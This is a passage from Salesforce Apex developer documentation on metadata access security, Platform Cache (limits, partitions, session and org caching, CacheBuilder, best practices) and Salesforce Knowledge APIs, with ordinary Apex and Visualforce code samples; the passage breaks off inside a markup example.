You can retrieve and deploy metadata in post install scripts. In uninstall scripts, you can only retrieve, not deploy, metadata from Apex
code.
See Metadata.Operations for code examples for retrieving and deploying metadata.
Supported Metadata Types
Apex supports a subset of metadata types and components.
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Metadata access in Apex is limited to types and components that support the use cases described in Metadata. Apps and packages can
use the metadata feature in Apex to retrieve and deploy the following metadata types and components:
• Records of custom metadata types
• Layouts
Security Considerations
Be aware of security considerations when accessing metadata using Apex.
Generally, Apex classes installed in the subscriber org can access any public, supported metadata type or component in the subscriber
org. Protected metadata, such as a custom metadata type that’s been marked protected, can only be accessed by Apex classes in the
same namespace as the protected metadata.
Additionally, for managed packages, if the managed package is not approved by Salesforce via security review, Apex classes in the
package cannot access metadata (public or protected) unless the Deploy Metadata from Non-Certified Package Versions via Apex
org preference is enabled. This preference, located under Setup > Apex Settings, must be enabled if admins or developers are installing
managed packages that haven’t passed security review for app testing or pilot purposes.
For deployments, because Metadata.Operations.enqueueDeployment() uses asynchronous Apex, queued deployment
jobs and deployment callbacks are counted as asynchronous jobs in the current org. Queued deployment jobs and callbacks are subject
to org limits on asynchronous Apex.
Apps that access metadata via Apex must notify users that the app can retrieve or deploy metadata in the subscriber org. For installs
that access metadata, notify users in the description of your package. You can write your own notice, or use this sample:
This package can access and change metadata outside its namespace in the Salesforce
org where it’s installed.
Salesforce verifies the notice during the security review. For more information, see the ISVforce Guide.
Testing Metadata Deployments
Apex code that accesses metadata must be properly tested.
To provide Apex test coverage for metadata deployments, write tests that verify both the set up of the deployment request and handling
of the deployment results.
Tests for deployment request code verify the metadata components and component values that get created and assert that the
DeployContainer contains exactly what needs to be deployed.
Tests for deployment result code verify that your DeployCallback handles expected and unexpected results. Your
DeployCallback is normally called by Salesforce as part of the asynchronous deployment process. Therefore, to test your callback
outside of the deployment process, create tests that use your callback class directly. You also must create test DeployResults and
DeployCallbackContext instances to test your DeployCallback.handleResults() method.
When creating a test instance of DeployCallbackContext, subclass DeployCallbackContext and provide your own
implementation of getCallbackJobId().
// DeployCallbackContext subclass for testing that returns myJobId
public class TestingDeployCallbackContext extends Metadata.DeployCallbackContext {
private myJobId = null; // define to a canned ID you can use for testing
public override Id getCallbackJobId() {
return myJobId;
}
}
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Platform Cache
The Force.com Platform Cache layer provides faster performance and better reliability when caching Salesforce session and org data.
Specify what to cache and for how long without using custom objects and settings or overloading a Visualforce view state. Platform
Cache improves performance by distributing cache space so that some applications or operations don’t steal capacity from others.
Because Apex runs in a multi-tenant environment with cached data living alongside internally cached data, caching involves minimal
disruption to core Salesforce processes.
IN THIS SECTION:
Platform Cache Features
The Platform Cache API lets you store and retrieve data that’s tied to Salesforce sessions or shared across your org. Put, retrieve, or
remove cache values by using the Session, Org, SessionPartition, and OrgPartition classes in the Cache
namespace. Use the Platform Cache Partition tool in Setup to create or remove org partitions and allocate their cache capacities to
balance performance across apps.
Platform Cache Considerations
Review these considerations when working with Platform Cache.
Platform Cache Limits
The following limits apply when using Platform Cache.
Platform Cache Partitions
Use Platform Cache partitions to improve the performance of your applications. Partitions allow you to distribute cache space in the
way that works best for your applications. Caching data to designated partitions ensures that it’s not overwritten by other applications
or less-critical data.
Platform Cache Internals
Platform Cache uses local cache and a least recently used (LRU) algorithm to improve performance.
Store and Retrieve Values from the Session Cache
Use the Cache.Session and Cache.SessionPartition classes to manage values in the session cache. To manage
values in any partition, use the methods in the Cache.Session class. If you’re managing cache values in one partition, use the
Cache.SessionPartition methods instead.
Store and Retrieve Values from the Org Cache
Use the Cache.Org and Cache.OrgPartition classes to manage values in the org cache. To manage values in any partition,
use the methods in the Cache.Org class. If you’re managing cache values in one partition, use the Cache.OrgPartition
methods instead.
Use a Visualforce Global Variable for the Platform Cache
You can access cached values stored in the session or org cache from a Visualforce page with global variables.
Safely Cache Values with the CacheBuilder Interface
A Platform Cache best practice is to ensure that your Apex code handles cache misses by testing for cache requests that return null.
You can write this code yourself. Or, you can use the Cache.CacheBuilder interface, which makes it easy to safely store and
retrieve values to a session or org cache.
Platform Cache Best Practices
Platform Cache can greatly improve performance in your applications. However, it’s important to follow these guidelines to get the
best cache performance. In general, it’s more efficient to cache a few large items than to cache many small items separately. Also
be mindful of cache limits to prevent unexpected cache evictions.
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Platform Cache Features
The Platform Cache API lets you store and retrieve data that’s tied to Salesforce sessions or shared across your org. Put, retrieve, or remove
cache values by using the Session, Org, SessionPartition, and OrgPartition classes in the Cache namespace. Use
the Platform Cache Partition tool in Setup to create or remove org partitions and allocate their cache capacities to balance performance
across apps.
There are two types of cache:
• Session cache—Stores data for individual user sessions. For example, in an app that finds customers within specified territories,
the calculations that run while users browse different locations on a map are reused.
Session cache lives alongside a user session. The maximum life of a session is eight hours. Session cache expires when its specified
time-to-live (ttlsecs value) is reached or when the session expires after eight hours, whichever comes first.
• Org cache—Stores data that any user in an org reuses. For example, the contents of navigation bars that dynamically display menu
items based on user profile are reused.
Unlike session cache, org cache is accessible across sessions, requests, and org users and profiles. Org cache expires when its specified
time-to-live (ttlsecs value) is reached.
The best data to cache is:
• Reused throughout a session
• Static (not rapidly changing)
• Otherwise expensive to retrieve
For both session and org caches, you can construct calls so that cached data in one namespace isn’t overwritten by similar data in
another. Optionally use the Cache.Visibility enumeration to specify whether Apex code can access cached data in a namespace
outside of the invoking namespace.
Each cache operation depends on the Apex transaction within which it runs. If the entire transaction fails, all cache operations in that
transaction are rolled back.
Try Platform Cache
To test performance improvements by using Platform Cache in your own org, you can request trial cache for your production org.
Enterprise, Unlimited, and Performance editions come with some cache, but adding more cache often provides greater performance.
When your trial request is approved, you can allocate capacity to partitions and experiment with using the cache for different scenarios.
Testing the cache on a trial basis lets you make an informed decision about whether to purchase cache.
For more information about trial cache, see “Request a Platform Cache Trial” in the Salesforce online help.
Platform Cache is also available for purchase. For more information about purchasing cache, see “Purchase Platform Cache” in the
Salesforce online help.
SEE ALSO:
Session Class
Org Class
Partition Class
OrgPartition Class
SessionPartition Class
CacheBuilder Interface
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Platform Cache Considerations
Review these considerations when working with Platform Cache.
• Cache isn’t persisted. There’s no guarantee against data loss.
• Some or all cache is invalidated when you modify an Apex class in your org.
• Data in the cache isn’t encrypted.
• Org cache supports concurrent reads and writes across multiple simultaneous Apex transactions. For example, a transaction updates
the key PetName with the value Fido. At the same time, another transaction updates the same key with the value Felix. Both
writes succeed, but one of the two values is chosen arbitrarily as the winner, and later transactions read that one value. However,
this arbitrary choice is per key rather than per transaction. For example, suppose one transaction writes PetType="Cat" and
PetName="Felix". Then, at the same moment, another transaction writes PetType="Dog" and PetName="Fido".
In this case, the PetType winning value could be from the first transaction, and the PetName winning value could be from the
second transaction. Subsequent get() calls on those keys would return PetType="Cat" and PetName="Fido".
• Cache misses can happen. We recommend constructing your code to consider a case where previously cached items aren’t found.
Alternatively, use the CacheBuilder Interface, which checks for cache misses.
• Session cache doesn’t support asynchronous Apex. For example, you can’t use future methods or batch Apex with session cache.
• Partitions must adhere to the limits within Salesforce.
• The session cache can store values up to eight hours. The org cache can store values up to 48 hours.
Platform Cache Limits
The following limits apply when using Platform Cache.
Edition-specific Limits
The following table shows the amount of Platform Cache available for different types of orgs. To purchase more cache, contact your
Salesforce representative.
Edition
Cache Size
Enterprise
10 MB
Unlimited and Performance
30 MB
All others
0 MB
Partition Size Limits
Limit
Value
Minimum partition size
5 MB
Session Cache Limits
Limit
Value
Maximum size of a single cached item (for put() methods)
100 KB
Maximum local cache size for a partition, per-request1
500 KB
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Limit
Value
Minimum developer-assigned time-to-live
300 seconds (5 minutes)
Maximum developer-assigned time-to-live
28,800 seconds (8 hours)
Maximum session cache time-to-live
28,800 seconds (8 hours)
Org Cache Limits
1
Limit
Value
Maximum size of a single cached item (for put() methods)
100 KB
Maximum local cache size for a partition, per-request1
1,000 KB
Minimum developer-assigned time-to-live
300 seconds (5 minutes)
Maximum developer-assigned time-to-live
172,800 seconds (48 hours)
Default org cache time-to-live
86,400 seconds (24 hours)
Local cache is the application server’s in-memory container that the client interacts with during a request.
Platform Cache Partitions
Use Platform Cache partitions to improve the performance of your applications. Partitions allow you to distribute cache space in the way
that works best for your applications. Caching data to designated partitions ensures that it’s not overwritten by other applications or
less-critical data.
To use Platform Cache, first set up partitions using the Platform Cache Partition tool in Setup. Once you’ve set up partitions, you can add,
access, and remove data from them using the Platform Cache Apex API.
To access the Partition tool in Setup, enter Platform Cache in the Quick Find box, then select Platform Cache.
Use the Partition tool to:
• Request trial cache.
• Create, edit, or delete cache partitions.
• Allocate the session cache and org cache capacities of each partition to balance performance across apps.
• View a snapshot of the org’s current cache capacity, breakdown, and partition allocations (in KB or MB).
• View details about each partition.
• Make any partition the default partition.
To use Platform Cache, create at least one partition. Each partition has one session cache and one org cache segment and you can
allocate separate capacity to each segment. Session cache can be used to store data for individual user sessions, and org cache is for
data that any users in an org can access. You can distribute your org’s cache space across any number of partitions. Session and org
cache allocations can be zero, or five or greater, and they must be whole numbers. The sum of all partition allocations, including the
default partition, equals the Platform Cache total allocation. The total allocated capacity of all cache segments must be less than or equal
to the org’s overall capacity.
You can define any partition as the default partition, but you can have only one default partition. When a partition has no allocation,
cache operations (such as get and put) are not invoked, and no error is returned.
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When performing cache operations within the default partition, you can omit the partition name from the key.
After you set up partitions, you can use Apex code to perform cache operations on a partition. For example, use the
Cache.SessionPartition and Cache.OrgPartition classes to put, retrieve, or remove values on a specific partition’s
cache. Use Cache.Session and Cache.Org to get a partition or perform cache operations by using a fully qualified key.
Packaging Platform Cache Partitions
When packaging an application that uses Platform Cache, add any referenced partitions to your packages explicitly. Partitions aren’t
pulled into packages automatically, as other dependencies are. Partition validation occurs during run time, rather than compile time.
Therefore, if a partition is missing from a package, you don’t receive an error message at compile time.
Note: If platform cache code is intended for a package, don’t use the default partition in the package. Instead, explicitly reference
and package a non-default partition. Any package containing the default partition can’t be deployed.
If you’re working with managed packages, we recommend using Branch Packaging Orgs to share a namespace across partitions. This
feature lets you maintain multiple orgs or partitions as “branches” of your primary org. For information about Branch Packaging Orgs,
contact Salesforce.
SEE ALSO:
Partition Class
OrgPartition Class
SessionPartition Class
Metadata API Developer’s Guide: Platform Cache Partition Type
Platform Cache Internals
Platform Cache uses local cache and a least recently used (LRU) algorithm to improve performance.
Local Cache
Platform Cache uses local cache to improve performance, ensure efficient use of the network, and support atomic transactions. Local
cache is the application server’s in-memory container that the client interacts with during a request. Cache operations don’t interact
with the caching layer directly, but instead interact with local cache.
For session cache, all cached items are loaded into local cache upon first request. All subsequent interactions use the local cache. Similarly,
an org cache get operation retrieves a value from the caching layer and stores it in the local cache. Subsequent requests for this value
are retrieved from the local cache. All mutable operations, such as put and remove, are also performed against the local cache. Upon
successful completion of the request, mutable operations are committed.
Note: Local cache doesn’t support concurrent operations. Mutable operations, such as put and remove, are performed against
the local cache and are only committed when the entire Apex request is successful. Therefore, other simultaneous requests don’t
see the results of the mutable operations.
Atomic Transactions
Each cache operation depends on the Apex request that it runs in. If the entire request fails, all cache operations in that request are rolled
back. Behind the scenes, the use of local cache supports these atomic transactions.
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Eviction Algorithm
When possible, Platform Cache uses an LRU algorithm to evict keys from the cache. When cache limits are reached, keys are evicted
until the cache is reduced to 100-percent capacity. If session cache is used, the system removes cache evenly from all existing session
cache instances. Local cache also uses an LRU algorithm. When the maximum local cache size for a partition is reached, the least recently
used items are evicted from the local cache.
SEE ALSO:
Platform Cache Limits
Store and Retrieve Values from the Session Cache
Use the Cache.Session and Cache.SessionPartition classes to manage values in the session cache. To manage values
in any partition, use the methods in the Cache.Session class. If you’re managing cache values in one partition, use the
Cache.SessionPartition methods instead.
Cache.Session Methods
To store a value in the session cache, call the Cache.Session.put() method and supply a key and value. The key name is in the
format namespace.partition.key. For example, for namespace ns1, partition partition1, and key orderDate, the fully qualified
key name is ns1.partition1.orderDate.
This example stores a DateTime cache value with the key orderDate. Next, the snippet checks if the orderDate key is in the
cache, and if so, retrieves the value from the cache.
// Add a value to the cache
DateTime dt = DateTime.parse('06/16/2015 11:46 AM');
Cache.Session.put('ns1.partition1.orderDate', dt);
if (Cache.Session.contains('ns1.partition1.orderDate')) {
DateTime cachedDt = (DateTime)Cache.Session.get('ns1.partition1.orderDate');
}
To refer to the default partition and the namespace of the invoking class, omit the namespace.partition prefix and specify the
key name.
Cache.Session.put('orderDate', dt);
if (Cache.Session.contains('orderDate')) {
DateTime cachedDt = (DateTime)Cache.Session.get('orderDate');
}
The local prefix refers to the namespace of the current org where the code is running, regardless of whether the org has a namespace
defined. If the org has a namespace defined as ns1, the following two statements are equivalent.
Cache.Session.put('local.myPartition.orderDate', dt);
Cache.Session.put('ns1.myPartition.orderDate', dt);
Note: The local prefix in an installed managed package refers to the namespace of the subscriber org and not the package’s
namespace. The cache put calls are not allowed in a partition that the invoking class doesn’t own.
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The put() method has multiple versions (or overloads), and each version takes different parameters. For example, to specify that your
cached value can’t be overwritten by another namespace, set the last parameter of this method to true. The following example also
sets the lifetime of the cached value (3600 seconds or 1 hour) and makes the value available to any namespace.
// Add a value to the cache with options
Cache.Session.put('ns1.partition1.totalSum', '500', 3600, Cache.Visibility.ALL, true);
To retrieve a cached value from the session cache, call the Cache.Session.get() method. Because Cache.Session.get()
returns an object, we recommend that you cast the returned value to a specific type.
// Get a cached value
Object obj = Cache.Session.get('ns1.partition1.orderDate');
// Cast return value to a specific data type
DateTime dt2 = (DateTime)obj;
Cache.SessionPartition Methods
If you’re managing cache values in one partition, use the Cache.SessionPartition methods instead. After the partition object
is obtained, the process of adding and retrieving cache values is similar to using the Cache.Session methods. The
Cache.SessionPartition methods are easier to use because you specify only the key name without the namespace and
partition prefix.
First, get the session partition and specify the desired partition. The partition name includes the namespace prefix:
namespace.partition. You can manage the cached values in that partition by adding and retrieving cache values on the obtained
partition object. The following example obtains the partition named myPartition in the myNs namespace. Next, if the cache contains a
value with the key BookTitle, this cache value is retrieved. A new value is added with key orderDate and today’s date.
// Get partition
Cache.SessionPartition sessionPart = Cache.Session.getPartition('myNs.myPartition');
// Retrieve cache value from the partition
if (sessionPart.contains('BookTitle')) {
String cachedTitle = (String)sessionPart.get('BookTitle');
}
// Add cache value to the partition
sessionPart.put('OrderDate', Date.today());
This example calls the get method on a partition in one expression without assigning the partition instance to a variable.
// Or use dot notation to call partition methods
String cachedAuthor =
(String)Cache.Session.getPartition('myNs.myPartition').get('BookAuthor');
SEE ALSO:
Session Class
SessionPartition Class
Store and Retrieve Values from the Org Cache
Use the Cache.Org and Cache.OrgPartition classes to manage values in the org cache. To manage values in any partition,
use the methods in the Cache.Org class. If you’re managing cache values in one partition, use the Cache.OrgPartition
methods instead.
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Cache.Org Methods
To store a value in the org cache, call the Cache.Org.put() method and supply a key and value. The key name is in the format
namespace.partition.key. For example, for namespace ns1, partition partition1, and key orderDate, the fully qualified key
name is ns1.partition1.orderDate.
This example stores a DateTime cache value with the key orderDate. Next, the snippet checks if the orderDate key is in the
cache, and if so, retrieves the value from the cache.
// Add a value to the cache
DateTime dt = DateTime.parse('06/16/2015 11:46 AM');
Cache.Org.put('ns1.partition1.orderDate', dt);
if (Cache.Org.contains('ns1.partition1.orderDate')) {
DateTime cachedDt = (DateTime)Cache.Org.get('ns1.partition1.orderDate');
}
To refer to the default partition and the namespace of the invoking class, omit the namespace.partition prefix and specify the
key name.
Cache.Org.put('orderDate', dt);
if (Cache.Org.contains('orderDate')) {
DateTime cachedDt = (DateTime)Cache.Org.get('orderDate');
}
The local prefix refers to the namespace of the current org where the code is running. The local prefix refers to the namespace
of the current org where the code is running, regardless of whether the org has a namespace defined. If the org has a namespace defined
as ns1, the following two statements are equivalent.
Cache.Org.put('local.myPartition.orderDate', dt);
Cache.Org.put('ns1.myPartition.orderDate', dt);
Note: The local prefix in an installed managed package refers to the namespace of the subscriber org and not the package’s
namespace. The cache put calls are not allowed in a partition that the invoking class doesn’t own.
The put() method has multiple versions (or overloads), and each version takes different parameters. For example, to specify that your
cached value can’t be overwritten by another namespace, set the last parameter of this method to true. The following example also
sets the lifetime of the cached value (3600 seconds or 1 hour) and makes the value available to any namespace.
// Add a value to the cache with options
Cache.Org.put('ns1.partition1.totalSum', '500', 3600, Cache.Visibility.ALL, true);
To retrieve a cached value from the org cache, call the Cache.Org.get() method. Because Cache.Org.get() returns an
object, we recommend that you cast the returned value to a specific type.
// Get a cached value
Object obj = Cache.Org.get('ns1.partition1.orderDate');
// Cast return value to a specific data type
DateTime dt2 = (DateTime)obj;
Cache.OrgPartition Methods
If you’re managing cache values in one partition, use the Cache.OrgPartition methods instead. After the partition object is
obtained, the process of adding and retrieving cache values is similar to using the Cache.Org methods. The Cache.OrgPartition
methods are easier to use because you specify only the key name without the namespace and partition prefix.
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First, get the org partition and specify the desired partition. The partition name includes the namespace prefix:
namespace.partition. You can manage the cached values in that partition by adding and retrieving cache values on the obtained
partition object. The following example obtains the partition named myPartition in the myNs namespace. If the cache contains a value
with the key BookTitle, this cache value is retrieved. A new value is added with key orderDate and today’s date.
// Get partition
Cache.OrgPartition orgPart = Cache.Org.getPartition('myNs.myPartition');
// Retrieve cache value from the partition
if (orgPart.contains('BookTitle')) {
String cachedTitle = (String)orgPart.get('BookTitle');
}
// Add cache value to the partition
orgPart.put('OrderDate', Date.today());
This example calls the get method on a partition in one expression without assigning the partition instance to a variable.
// Or use dot notation to call partition methods
String cachedAuthor = (String)Cache.Org.getPartition('myNs.myPartition').get('BookAuthor');
SEE ALSO:
Org Class
OrgPartition Class
Use a Visualforce Global Variable for the Platform Cache
You can access cached values stored in the session or org cache from a Visualforce page with global variables.
You can use either the $Cache.Session or $Cache.Org global variable. Include the global variable’s fully qualified key name
with the namespace and partition name.
This output text component retrieves a session cache value using the global variable’s namespace, partition, and key.
<apex:outputText value="{!$Cache.Session.myNamespace.myPartition.key1}"/>
This example is similar but uses the $Cache.Org global variable to retrieve a value from the org cache.
<apex:outputText value="{!$Cache.Org.myNamespace.myPartition.key1}"/>
Note: The remaining examples show how to access the session cache using the $Cache.Session global variable. The
equivalent org cache examples are the same except that you use the $Cache.Org global variable instead.
Unlike with Apex methods, you can’t omit the myNamespace.myPartition prefix to reference the default partition in the org.
If a namespace isn’t defined for the org, use local to refer to the org’s namespace.
<apex:outputText value="{!$Cache.Session.local.myPartition.key1}"/>
The cached value is sometimes a data structure that has properties or methods, like an Apex list or a custom class. In this case, you can
access the properties in the $Cache.Session or $Cache.Org expression by using dot notation. For example, this markup
invokes the List.size() Apex method if the value of numbersList is declared as a List.
<apex:outputText value="{!$Cache.Session.local.myPartition.numbersList.size}"/>
This example accesses the value property on the myData cache value that is declared as a custom class.
<apex:outputText value="{!$Cache.Session.local.myPartition.myData.value}"/>
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If you’re using CacheBuilder, qualify the key name with the class that implements the CacheBuilder interface and the literal
string _B_, in addition to the namespace and partition name. In this example, the class that implements CacheBuilder is called
CacheBuilderImpl.
<apex:outputText value="{!$Cache.Session.myNamespace.myPartition.CacheBuilderImpl_B_key1}"/>
Safely Cache Values with the CacheBuilder Interface
A Platform Cache best practice is to ensure that your Apex code handles cache misses by testing for cache requests that return null. You
can write this code yourself. Or, you can use the Cache.CacheBuilder interface, which makes it easy to safely store and retrieve
values to a session or org cache.
Rather than just declaring what you want to cache in your Apex class, create an inner class that implements the CacheBuilder
interface. The interface has a single method, doLoad(String var), which you override by coding the logic that builds the cached
value based on the doLoad(String var) method’s argument.
To retrieve a value that you’ve cached with CacheBuilder, you don’t call the doLoad(String var) method directly. Instead,
it’s called indirectly by Salesforce the first time you reference the class that implements CacheBuilder. Subsequent calls get the
value from the cache, as long as the value exists. If the value doesn’t exist, the doLoad(String var) method is called again to
build the value and then return it. As a result, you don’t execute put() methods when using the CacheBuilder interface. And
because the doLoad(String var) method checks for cache misses, you don’t have to write the code to check for nulls yourself.
Let’s look at an example. Suppose you’re coding an Apex controller class for a Visualforce page. In the Apex class, you often run a SOQL
query that looks up a User record based on a user ID. SOQL queries can be expensive, and Salesforce user records don’t typically change
much, so the User information is a good candidate for CacheBuilder.
In your controller class, create an inner class that implements the CacheBuilder interface and overrides the doLoad(String
var) method. Then add the SOQL code to the doLoad(String var) method with the user ID as its parameter.
class UserInfoCache implements Cache.CacheBuilder {
public Object doLoad(String userid) {
User u = (User)[SELECT Id, IsActive, username FROM User WHERE id =: userid];
return u;
}
}
To retrieve the User record from the org cache, execute the Org.get(cacheBuilder, key) method, passing it the
UserInfoCache class and the user ID. Similarly, use Session.get(cacheBuilder, key) and
Partition.get(cacheBuilder, key) to retrieve the value from the session or partition cache, respectively.
User batman = (User) Cache.Org.get(UserInfoCache.class, ‘00541000000ek4c');
When you run the get() method, Salesforce searches the cache using a unique key that consists of the strings 00541000000ek4c and
UserInfoCache. If Salesforce finds a cached value, it returns it. For this example, the cached value is a User record associated with the ID
00541000000ek4c. If Salesforce doesn’t find a value, it executes the doLoad(String var) method of UserInfoCache again
(and reruns the SOQL query), caches the User record, and then returns it.
CacheBuilder Coding Requirements
Follow these requirements when you code a class that implements the CacheBuilder interface.
• The doLoad(String var) method must take a String parameter, even if you do not use the parameter in the method’s
code. Salesforce uses the string, along with the class name, to build a unique key for the cached value.
• The doLoad(String var) method must always return a value. It can never return null. The returned value can be of any type
which you then cast to the appropriate type.
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• The class that implements CacheBuilder must be non-static because Salesforce instantiates a new instance of the class and
runs the doLoad(String var) method to create the cached value.
SEE ALSO:
CacheBuilder Interface
Platform Cache Best Practices
Platform Cache can greatly improve performance in your applications. However, it’s important to follow these guidelines to get the best
cache performance. In general, it’s more efficient to cache a few large items than to cache many small items separately. Also be mindful
of cache limits to prevent unexpected cache evictions.
Evaluate the Performance Impact
To test whether Platform Cache improves performance in your application, calculate the elapsed time with and without using the cache.
Don’t rely on the Apex debug log timestamp for the execution time. Use the System.currentTimeMillis() method instead.
For example, first call System.currentTimeMillis() to get the start time. Perform application logic, fetching the data from
either the cache or another data source. Then calculate the elapsed time.
long startTime = System.currentTimeMillis();
// Your code here
long elapsedTime = System.currentTimeMillis() - startTime;
System.debug(elapsedTime);
Handle Cache Misses Gracefully
Ensure that your code handles cache misses by testing cache requests that return null. To help with debugging, add logging information
for cache operations.
Alternatively, use the Cache.CacheBuilder interface, which checks for cache misses.
public class CacheManager {
private Boolean cacheEnabled;
public void CacheManager() {
cacheEnabled = true;
}
public Boolean toggleEnabled() { // Use for testing misses
cacheEnabled = !cacheEnabled;
return cacheEnabled;
}
public Object get(String key) {
if (!cacheEnabled) return null;
Object value = Cache.Session.get(key);
if (value != null) System.debug(LoggingLevel.DEBUG, 'Hit for key ' + key);
return value;
}
public void put(String key, Object value, Integer ttl) {
if (!cacheEnabled) return;
Cache.Session.put(key, value, ttl);
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// for redundancy, save to DB
System.debug(LoggingLevel.DEBUG, 'put() for key ' + key);
}
public Boolean remove(String key) {
if (!cacheEnabled) return false;
Boolean removed = Cache.Session.remove(key);
if (removed) {
System.debug(LoggingLevel.DEBUG, 'Removed key ' + key);
return true;
} else return false;
}
}
Group Cache Requests
When possible, group cache requests, but be aware of caching limits. To help improve performance, perform cache operations on a list
of keys rather than on individual keys. For example, if you know which keys are necessary to invoke a Visualforce page or perform a task
in Apex, retrieve all keys at once. To retrieve multiple keys, call get(keys) in an initialization method.
Note: Aggregate functions are available only for the Cache.Org class.
Cache Larger Items
It’s more efficient to cache a few large items than to cache many small items separately. Caching many small items decreases performance
and increases overhead, including total serialization size, serialization time, cache commit time, and cache capacity usage.
Don’t add many small items to the Platform Cache within one request. Instead, wrap data in larger items, such as lists. If a list is large,
consider breaking it into multiple items. Here’s an example of what to avoid.
// Don't do this!
public class MyController {
public void initCache() {
List<Account> accts = [SELECT Id, Name, Phone, Industry, Description FROM
Account limit 1000];
for (Integer i=0; i<accts.size(); i++) {
Cache.Org.put('acct' + i, accts.get(i));
}
}
}
Instead, wrap the data in a few reasonably large items without exceeding the limit on the size of single cached items.
// Do this instead.
public class MyController {
public void initCache() {
List<Account> accts = [SELECT Id, Name, Phone, Industry, Description FROM
Account limit 1000];
Cache.Org.put('accts', accts);
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}
}
Another good example of caching larger items is to encapsulate data in an Apex class. For example, you can create a class that wraps
session data, and cache an instance of the class rather than the individual data items. Caching the class instance improves overall
serialization size and performance.
Be Aware of Cache Limits
When you add items to the cache, be aware of the following limits.
Cache Partition Size Limit
When the cache partition limit is reached, keys are evicted until the cache is reduced to 100% capacity. Platform Cache uses a least
recently used (LRU) algorithm to evict keys from the cache.
Local Cache Size Limit
When you add items to the cache, make sure that you are not exceeding local cache limits within a request. The local cache limit
for the session cache is 500 KB and 1,000 KB for the org cache. If you exceed the local cache limit, items can be evicted from the local
cache before the request has been committed. This eviction can cause unexpected misses and long serialization time and can waste
resources.
Single Cached Item Size Limit
The size of individual cached items is limited to 100 KB. If the serialized size of an item exceeds this limit, the
Cache.ItemSizeLimitExceededException exception is thrown. It’s a good practice to catch this exception and reduce
the size of the cached item.
Use the Cache Diagnostics Page (Sparingly)
To determine how much of the cache is used, check the Platform Cache Diagnostics page. To reach the Diagnostics page:
1. Make sure that Cache Diagnostics is enabled for the user (on the User Detail page).
2. On the Platform Cache Partition page, click the partition name.
3. Click the link to the Diagnostics page for the partition.
The Diagnostics page provides valuable information, including the capacity usage, keys, and serialized and compressed sizes of the
cached items. The session cache and org cache have separate diagnostics pages. The session cache diagnostics are per session, and they
don’t provide insight across all active sessions.
Note: Generating the diagnostics page gathers all partition-related information and is an expensive operation. Use it sparingly.
Minimize Expensive Operations
Consider the following guidelines to minimize expensive operations.
• Use Cache.Org.getKeys() and Cache.Org.getCapacity() sparingly. Both methods are expensive, because they
traverse all partition-related information looking for or making calculations for a given partition.
Note: Cache.Session usage is not expensive.
• Avoid calling the contains(key) method followed by the get(key) method. If you intend to use the key value, simply call
the get(key) method and make sure that the value is not equal to null.
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• Clear the cache only when necessary. Clearing the cache traverses all partition-related cache space, which is expensive. After clearing
the cache, your application will likely regenerate the cache by invoking database queries and computations. This regeneration can
be complex and extensive and impact your application’s performance.
SEE ALSO:
Platform Cache Limits
CacheBuilder Interface
Salesforce Knowledge
Salesforce Knowledge is a knowledge base where users can easily create and manage content, known as articles, and quickly find and
view the articles they need.
Use Apex to access these Salesforce Knowledge features:
IN THIS SECTION:
Knowledge Management
Users can write, publish, archive, and manage articles using Apex in addition to the Salesforce user interface.
Promoted Search Terms
Promoted search terms are useful for promoting a Salesforce Knowledge article that you know is commonly used to resolve a support
issue when an end user’s search contains certain keywords. Users can promote an article in search results by associating keywords
with the article in Apex (by using the SearchPromotionRule sObject) in addition to the Salesforce user interface.
Suggest Salesforce Knowledge Articles
Provide users with shortcuts to navigate to relevant articles before they perform a search. Call Search.suggest(searchText,
objectType, options) to return a list of Salesforce Knowledge articles whose titles match a user’s search query string.
Knowledge Management
Users can write, publish, archive, and manage articles using Apex in addition to the Salesforce user interface.
Use the methods in the KbManagement.PublishingService class to manage the following parts of the lifecycle of an article
and its translations:
• Publishing
• Updating
• Retrieving
• Deleting
• Submitting for translation
• Setting a translation to complete or incomplete status
• Archiving
• Assigning review tasks for draft articles or translations
Note: Date values are based on GMT.
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To use the methods in this class, you must enable Salesforce Knowledge. See Salesforce Knowledge Implementation Guide for more
information on setting up Salesforce Knowledge.
SEE ALSO:
PublishingService Class
Promoted Search Terms
Promoted search terms are useful for promoting a Salesforce Knowledge article that you know is commonly used to resolve a support
issue when an end user’s search contains certain keywords. Users can promote an article in search results by associating keywords with
the article in Apex (by using the SearchPromotionRule sObject) in addition to the Salesforce user interface.
Articles must be in published status (with a PublishSatus field value of Online) for you to manage their promoted terms.
Example: This code sample shows how to add a search promotion rule. This sample performs a query to get published articles
of type MyArticle__kav. Next, the sample creates a SearchPromotionRule sObject to promote articles that contain the word
“Salesforce” and assigns the first returned article to it. Finally, the sample inserts this new sObject.
// Identify the article to promote in search results
List<MyArticle__kav> articles = [SELECT Id FROM MyArticle__kav WHERE
PublishStatus='Online' AND Language='en_US' AND Id='Article Id'];
// Define the promotion rule
SearchPromotionRule s = new SearchPromotionRule(
Query='Salesforce',
PromotedEntity=articles[0]);
// Save the new rule
insert s;
To perform DML operations on the SearchPromotionRule sObject, you must enable Salesforce Knowledge.
Suggest Salesforce Knowledge Articles
Provide users with shortcuts to navigate to relevant articles before they perform a search. Call Search.suggest(searchText,
objectType, options) to return a list of Salesforce Knowledge articles whose titles match a user’s search query string.
To return suggestions, enable Salesforce Knowledge. See Salesforce Knowledge Implementation Guide for more information on setting
up Salesforce Knowledge.
This Visualforce page has an input field for searching articles or accounts. When the user presses the Suggest button, suggested records
are displayed. If there are more than five results, the More results button appears. To display more results, click the button.
<apex:page controller="SuggestionDemoController">
<apex:form >
<apex:pageBlock mode="edit" id="block">
<h1>Article and Record Suggestions</h1>
<apex:pageBlockSection >
<apex:pageBlockSectionItem >
<apex:outputPanel >
<apex:panelGroup >
<apex:selectList value="{!objectType}" size="1">
<apex:selectOption itemLabel="Account" itemValue="Account"
/>
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<apex:selectOption itemLabel="Article"
itemValue="KnowledgeArticleVersion" />
<apex:actionSupport event="onchange" rerender="block"/>
</apex:selectList>
</apex:panelGroup>
<apex:panelGroup >
<apex:inputHidden id="nbResult" value="{!nbResult}" />
<apex:outputLabel for="searchText">Search Text</apex:outputLabel>
&nbsp;
<apex:inputText id="searchText" value="{!searchText}"/>
<apex:commandButton id="suggestButton" value="Suggest"
action="{!doSuggest}"
rerender="block"/>
<apex:commandButton id="suggestMoreButton" value="More
results..." action="{!doSuggestMore}"
rerender="block" style="{!IF(hasMoreResults,
'', 'display: none;')}"/>
</apex:panelGroup>
</apex:outputPanel>
</apex:pageBlockSectionItem>
</apex:pageBlockSection>
<apex:pageBlockSection title="Results" id="results" columns="1"
rendered="{!results.size>0}">
<apex:dataList value="{!results}" var="w" type="1">
Id: {!w.SObject['Id']}
<br />
